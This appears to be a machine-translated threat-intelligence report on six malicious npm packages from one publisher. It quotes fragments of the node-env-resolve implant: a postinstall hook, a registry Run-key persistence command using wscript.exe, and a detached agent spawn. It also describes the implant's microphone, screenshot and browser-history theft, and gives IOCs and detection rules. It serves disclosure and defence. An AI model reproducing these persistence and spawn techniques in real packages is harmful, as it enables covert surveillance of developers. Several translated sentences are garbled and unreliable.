TL博士
2026年4月1日至5月3日期间,单个npm发布者, user0001使用未经验证的 Gmail 地址注册 tanvisoul9@gmail.com悄悄地推送了六个软件包,这些软件包的名称刻意平淡无奇,听起来像是基础设施相关的名称: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime和 node-env-resolve.
最新两个版本的 node-env-resolve1.0.7 和 1.0.8 版本于 5 月 2 日被 Xygeni 的恶意软件预警 (MEW) 系统标记,并于 5 月 3 日确认为恶意版本。
该植入程序不同寻常之处在于它不具备的功能:没有 Telegram 机器人,没有 OAST 回调,也没有其他任何功能。 困惑并且没有尝试在安装时获取 AWS 凭证。相反, postinstall.js 使用 HKCU Run 键启动 Windows 启动持久化项 wscript.exe 针对 VBS 存根。然后它会生成一个分离的 Node.js 代理,该代理捆绑了用于麦克风捕获、浏览器历史记录窃取、屏幕截图和鼠标/键盘模拟的模块。
我们将这个集群称为“集群”。 DevTap之后,该工具包会在开发者的机器上运行。
截至发稿时,这六个软件包均已上线 npm。我们已将它们提交至注册表的滥用举报渠道。维护者应在移除前从发布者处撤下所有安装。
集群:六个软件包,一个出版商
出版商账户 user0001 未经证实。它没有 SCM 已验证,无域名绑定邮箱,且无历史记录。Gmail 账号 tanvisoul9 在我们能找到的任何其他 npm 发布者记录中都没有出现。
这六个软件包的维护者相同,均由同一账户发布,且共享相同的资源。 package.json 模板。没有。 repository,无 homepage, 和不 description 比一行更长。
命名策略才是最有趣的部分。与传统的依赖关系混乱或域名抢注不同,这些名称都不针对特定的上游库。相反,它们的设计旨在融入真实的命名环境中。 package.json or npm ls 输出。
| 小包装 | 首次发布 | 最新版本 | 选项 | 在集群中的角色 |
|---|---|---|---|---|
| 中央记录器 | 2026-04-01 12:46 UTC | 1.0.9 | 5,从 1.0.5 到 1.0.9 | 集群的“日志实用程序”封面;最早发布 |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | 通用 DOM 辅助函数覆盖 |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | 模仿节点获取系列 |
| 连接器代理 | 2026-04-25 05:12 UTC | 1.0.0 | 1 | 通用名称“代理” |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | 模仿原生模块构建工具 |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10,从 1.0.0 到 1.0.9 | 主动式滴管;全植入 |
名字像 centralogger, node-fetch-lite和 node-gyp-runtime 这些语句旨在避免在代码审查中引起争议。它们听起来像是项目依赖树中原本就应该存在的内容。
再加上未经核实的新发布者和缺失的存储库链接,这些因素共同构成了一种可识别的模式:攻击者先在注册表中植入一些无关紧要的名称,然后迅速迭代,最终锁定真正重要的名称。在本例中, node-env-resolve 八天内收到了十个版本。
Windows 开发机上会装些什么呢?
恶意链 node-env-resolve:1.0.8 对于 npm RAT 来说,它简短、直接且功能异常丰富。
安装后:持久性和分离代理
package.json 声明一个安装钩子:
{ "scripts": { "postinstall": "node postinstall.js" } }
postinstall.js 按顺序做三件事。
首先,它会在 npm 树之外创建一个安装目录。该路径在脚本运行时计算得出。 INSTALL_DIR然后它运行一个内部程序 execSync('npm install --production --silent ...') 在其中拉取植入程序的运行时依赖项。这会将代理程序手动放置在磁盘上的某个位置。 node_modules 审计不会发现。
其次,它编写一个 VBS 启动器并将其注册为启动持久化程序:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v ${AGENT_NAME} \
/t REG_SZ \
/d "wscript.exe \"${vbsPath}\"" /f
wscript.exe 是 Windows 脚本宿主程序,这是一个经过签名的 Microsoft 二进制文件,运行于 .vbs 没有控制台窗口的文件。那是预处理文件。cis这就是为什么它被青睐用于自动运行存根的原因。
还有一个匹配项 reg delete 路径内部 src/index.js这表明该植入物的设计使其能够根据操作者的指令轻松移除。
第三,它会生成一个分离的子进程:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
detached: true,
env: { ...process.env, SERVER_URL }
})
这里有两个细节很重要。
SERVER_URL 是从环境中读取的。因此,C2 端点是可针对每个部署进行配置的,而不是预先集成到软件包中的。这个虽小但经过深思熟虑的选择可以绕过大多数静态 IOC 扫描。
此外,生成的子进程会继承父进程的完整环境。因此,任何 NPM_TOKEN, AWS_*, GITHUB_TOKEN或者,在安装时存在于开发者 shell 中的 SSH 代理套接字会进入长期存在的代理的内存中。
特工随附物品
捆绑的 src/ 树状结构包含三个模块,单从它们的名称就能看出其含义: audioCapture.js, browserHistory.js和 systemInfo.js.
运行时依赖项列表,在暂存期间解析 npm install证实了这一点。
这种方法可以将混乱的事件转化为可控的应对措施。
团队不会盲目反应,而是会积极行动。 明确的优先级和快速的补救措施.
| 依赖 | 在此语境下它的用途是什么? |
|---|---|
| 屏幕截图-桌面 | 定期屏幕截图 |
| @nut-tree-fork/nut-js | 鼠标和键盘自动化/输入模拟 |
| 更好的sqlite3 | 直接读取 Chrome、Edge 和 Firefox 的历史记录 SQLite 数据库 |
| 管理员压缩 | 在撤离前将收集到的文物捆扎起来。 |
| 尖锐 | 调整屏幕截图大小/压缩以及图像瑕疵 |
| socket.io客户端 | 持续双向C2通道 |
| 节点机器 ID | 用于受害者追踪的稳定主机指纹 |
systemInfo.js 电话 os.networkInterfaces() 在第一个信标之前进行额外的指纹采集。
为什么音频采集是突出的信号
在 MEW 中,我们筛选出的大多数 npm RAT 都止步于安装时窃取机密信息。它们会读取信息。 ~/.npmrc,读 ~/.aws/credentials刮擦 process.env然后向 webhook 发送 POST 请求,最后退出。这符合“速战速决”的经济模式。凭证的有效期很短,攻击者需要迅速获利。
node-env-resolve 形状不同。
持久化设置旨在确保重启后仍然存在。代理程序以分离模式运行,并具有较长的生命周期。 wscript.exe它携带的工具包是为开发者的机器准备的,而不是为了拿走就走:麦克风录音机、键盘/鼠标驱动程序、完整的浏览器历史记录采集、屏幕截图以及与可配置的 C2 服务器之间的交互式 Socket.IO 通道。
尤其值得一提的是,该恶意软件攻击手段包括麦克风捕获,而大多数 npm 恶意软件则不会这样做。
如今,开发者工作站越来越多地成为开发者进行站会、客户电话、设计讨论和值班的场所。植入式麦克风录音设备并非真正想要记录开发者的 npm 令牌,而是想要记录开发者在笔记本电脑前所说的话。
这种能力组合,加上缺乏混淆和没有任何花哨的安装时数据泄露,表明这是为了有针对性地访问而预先部署,而不是为了伺机窃取凭证。
我们并非仅凭此就断定归因。我们只是注意到其运行模式。
八天的迭代节奏 node-env-resolve 这是时间线中最具实际意义的细节。
这并非一次性投放。发布者正在积极维护投放器,这通常意味着以下两种情况之一:要么他们在大规模部署前针对测试环境进行调优,要么他们已经收到安装遥测数据并正在做出相应调整。
其他五个软件包在首次发布后几乎没有进行任何更改。这符合“一次部署,保留原名”的支持集群模式,而工程工作则集中在执行实际工作的软件包上。
归属:线索虽少,但结论尚不明确
公共 OSINT 信号很弱,我们不会对其进行拉伸。可观察的是:
Gmail 用户名 tanvisoul9 部分类似于南亚名字“Tanvi”。这是一个微弱的信号。Gmail用户名并不能代表身份,而且末尾的 soul9 这是通用信息。仅凭电子邮件的本地部分来推断地理位置是不安全的。
Node.js 的代码风格平平无奇: standard 库调用,例如 os, child_process, spawn和 reg add这里没有使用任何混淆技术、字符串轮换或反调试逻辑。作者熟悉 Windows 注册表原语和分离子进程编排,但似乎并没有采用他们可能使用的更隐蔽的手段。
依赖项完全是现成的,并且众所周知: screenshot-desktop, nut-js, better-sqlite3和 socket.io-client没有自定义协议,没有从零开始构建的C2协议栈,也没有任何超出教科书范畴的新颖持久化技巧。 HKCU 运行键这是一位称职的集成商,而不是工具开发者。
我们在已发布的工件中没有发现非英语字符串、嵌入式注释、区域设置数据或编译器输出时区指纹。
我们检查了代码是否与我们已跟踪的先前活动存在重叠,包括 沙伊胡鲁德, 猫头鹰之殇Buildkite,以及最近的黑白/ claude-code-best Anthropic-CLI 克隆家族。我们没有发现任何克隆:没有共享的 C2 模式,没有共享的文件布局,也没有共享的惯用法。
我们不会说:这是一个国家行为体、一个已知组织,或者与任何特定国家有地理上的联系。
行动模式与一支规模较小、技术水平中等的团队执行开发者工作站监视任务相符。其动机很可能是为了从下游利用访问权限获取经济利益,但也可能是为了向其他买家提供侦察服务。
有两个间接点支持这一观点:一是避免使用会迅速耗尽集群资源的引人注目的数据外泄机制,例如 Telegram 机器人; oastify.com或者说 canarytokens,以及刻意平淡的软件包名称,这种做法有利于安静的长期安装,而不是短暂的高流量高峰。
入侵和检测指标
| 软件包和发布者 | |
|---|---|
| 领域 | 价值 |
| npm 发布者 | user0001 |
| 出版商电子邮件 | tanvisoul9@gmail.com,未经核实 |
| centralogger、dom-utils-lite、node-fetch-lite、connector-agent、node-gyp-runtime、node-env-resolve | |
| 已确认恶意行为 | node-env-resolve@1.0.7,node-env-resolve@1.0.8 |
| 宿主工件 | |
|---|---|
| 类型 | 价值 |
| 持久键 | HKCU \软件\微软\ Windows \ CurrentVersion \运行 |
| 持久性值 | 变量名;数据格式为 wscript.exe“ \\ .vbs” |
| 安装钩子 | postinstall:在包清单中运行 postinstall.js 文件 |
| 植入模块 | src/audioCapture.js、src/browserHistory.js、src/systemInfo.js |
| 暂存目录 | INSTALL_DIR 解析于项目 node_modules 目录之外;该位置由 postinstall.js 在安装时设置。 |
| 网络 | |
|---|---|
| 类型 | 价值 |
| C2运输 | socket.io-client,持久双向通道 |
| C2 终点 | 通过 SERVER_URL 环境变量提供给代理;不会硬编码到已发布的工件中。 |
检测记录
两条规则可以捕获这个家族,而无需 C2 端点。
首先,标记执行内部操作的安装后脚本。 npm install 放到软件包自身目录之外的路径中。任何合法的预编译下载器,例如 node-gyp 重新构建或预构建二进制下载器,写入软件包内部或平台内部standard 缓存路径包含已验证的哈希值。它不会写入新创建的缓存路径。 INSTALL_DIR 磁盘上的其他位置。
其次,标记发出以下问题的安装后脚本 reg add HKCU\…\Run - wscript.exe 作为启动器。这基本上从来都不是 npm 包的合法行为。请标记并隔离它。
第三种启发式方法可用于在确认之前发现下一个同级包:一个全新的 npm 发布者,没有 SCM 验证方式,Gmail邮箱,无 repository 仅凭这一点,以及几天内发布的多个简短、通用、听起来像基础设施的软件包名称,就足以引起人工审查的必要性。
已向 npm 注册表报告。我们将在发布者帐户被移除后更新此帖。




